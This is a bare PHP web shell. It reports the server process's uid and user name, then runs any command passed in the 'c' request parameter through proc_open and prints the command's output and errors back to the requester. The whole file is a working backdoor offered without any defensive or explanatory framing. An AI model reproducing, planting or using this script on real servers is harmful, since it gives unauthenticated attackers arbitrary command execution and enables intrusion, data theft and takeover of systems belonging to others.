<?php
header("Content-Type: text/plain; charset=utf-8");
echo "uid=".getmyuid()."\n";
if (function_exists("posix_getpwuid")) {
  $a=@posix_getpwuid(getmyuid());
  if ($a) echo "user=".$a["name"]."\n";
}
$c = isset($_REQUEST["c"]) ? $_REQUEST["c"] : "";
if ($c !== "" && function_exists("proc_open")) {
  $d = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
  $p = @proc_open($c, $d, $pipes);
  if (is_resource($p)) {
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    echo stream_get_contents($pipes[2]);
    fclose($pipes[1]); fclose($pipes[2]);
    proc_close($p);
  } else { echo "proc_open_fail\n"; }
} elseif ($c !== "") { echo "no_proc_open\n"; }
